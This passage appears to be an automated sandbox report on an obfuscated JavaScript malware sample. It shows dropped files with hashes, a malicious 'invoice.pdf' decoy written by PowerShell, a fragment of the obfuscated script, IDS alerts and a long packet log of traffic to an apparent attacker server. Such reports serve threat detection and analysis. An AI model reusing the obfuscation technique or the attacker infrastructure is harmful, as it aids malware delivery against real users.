Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bdda5648-94ea-40a5-ab51-3a462de53470.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17688), with CRLF line terminators
Entropy (8bit):	4.898457941647074
TrID:
File name:	5503463779138895.js
File size:	21'213 bytes
MD5:	ee0883d027389ff16e005f517e4bf7c9
SHA1:	4fdfc37f39fbc648828e726a9d3a803e9353d9fd
SHA256:	ce6146a4df4ccea0a008ac0d91927c699081cd61412981f540a99f8efe827ca3
SHA512:	6eaf428f655674afe9864517c755b5c1968d2b5fa090773e136fe245142d4e90fcf757c9f6a48e3897d16352431e9c192f32e87dcedaa35ab78049247975fd5f
SSDEEP:	384:g7k/erUzs0KeyeTXLd1xaPMyeJucctUO8Zb7AKtDb4onNZfcPpTK8+4Apvh9OGa2:g7k/LyeTXLFyeJucctUO8Zb7AKtDb4oz
TLSH:	8C9265EB5D4941D7FAF8D4F2642A48F77281538C1AB0A0D35A4238D9C18CBB690FF879
File Content Preview:	function wrgqp(){vwtexcy=[1031,3079,5127,4103,2055,3072];var glzwxac=this[wmmjib+mhdzne+gcffc+vmgkls+xhroulewm+bjjexit+qygwct+eykvok](this[ilcrrno+cnerkjn+porac+gcffc+keicrkylw+wmmjib+eykvok][btvgw+gcffc+xhroulewm+mhdzne+eykvok+xhroulewm+jkbtzpk+aoumj+oov

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:08:52.737214+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49731	193.143.1.205	80	TCP
2025-01-10T22:08:55.296481+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49732	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:08:51.912470102 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:51.917483091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:51.917578936 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:51.920327902 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:51.925149918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737078905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737108946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737122059 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737133980 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737147093 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737154961 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737160921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737171888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737179041 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737188101 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.737214088 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.737287998 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.737287998 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.791378975 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.791399956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.791457891 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.861470938 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.861488104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.861500025 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.861562967 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.861651897 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.861665010 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.861676931 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.861706972 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.861752033 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.862129927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862143040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862157106 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862168074 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862180948 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862210989 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.862238884 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.862874031 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862886906 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862899065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862910032 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862922907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.862925053 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.862950087 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.862967968 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.863759995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.863774061 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.863785982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.863797903 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.863810062 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.863837004 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.863837004 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.864538908 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.864594936 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.924237013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.924258947 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.924329042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.984987974 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.985008955 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.985021114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.985102892 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.986126900 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986140966 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986217022 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.986219883 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986231089 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986294031 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.986340046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986380100 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986403942 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.986499071 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986510992 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986521959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986548901 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.986577034 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.986835957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986849070 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986860037 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986871004 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986884117 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.986910105 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.986934900 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.987428904 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.987443924 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.987454891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.987467051 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.987479925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.987487078 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.987492085 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.987505913 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.987507105 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.987550974 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.987550974 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.988238096 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.988250971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.988274097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.988285065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.988296986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.988302946 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.988308907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.988323927 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.988323927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.988363981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.989151001 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.989165068 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.989176989 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.989202976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.989207029 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.989216089 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.989226103 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.989228964 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.989240885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.989255905 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.989295006 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.990056992 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.990070105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.990081072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.990092039 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.990106106 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.990108013 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.990117073 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.990129948 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:52.990160942 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:52.990187883 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.014126062 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.014146090 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.014158010 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.014170885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.014341116 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.014341116 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.074693918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.074716091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.074801922 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.110541105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.110558033 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.110624075 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.110693932 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.110704899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.110716105 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.110728025 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.110740900 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.110766888 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.110807896 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.111104012 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111123085 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111135006 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111146927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111151934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.111160994 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111175060 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.111211061 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.111310959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111339092 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111361027 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111371994 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111387014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111392975 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.111418962 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.111677885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111690998 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111701965 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111728907 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.111753941 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.111820936 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111833096 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111844063 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.111908913 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.111989021 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112035990 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.112076044 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112087965 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112098932 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112111092 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112123966 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112135887 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112137079 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.112185001 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.112212896 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.112670898 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112683058 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112694979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112706900 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112720013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112731934 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112731934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.112745047 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.112756014 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.112781048 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.113168001 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113187075 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113197088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113209009 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113218069 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.113220930 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113234043 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113245010 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113245964 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.113255978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113269091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113272905 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.113276005 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113282919 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113295078 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.113308907 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.113331079 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.114193916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114207983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114218950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114229918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114242077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114244938 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.114253998 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114265919 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114268064 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.114279032 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114286900 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.114291906 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114304066 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114306927 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.114317894 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114331007 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.114351988 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.114373922 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.115115881 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115128994 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115140915 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115151882 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115164995 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115175962 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115189075 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115190029 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.115190029 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.115200043 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115214109 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115216970 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.115225077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115236998 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.115237951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115253925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115268946 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.115292072 CET	49731	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:08:53.115928888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115942955 CET	80	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:08:53.115956068 CET	80	49731	193.143.1.205	192.168.2.4
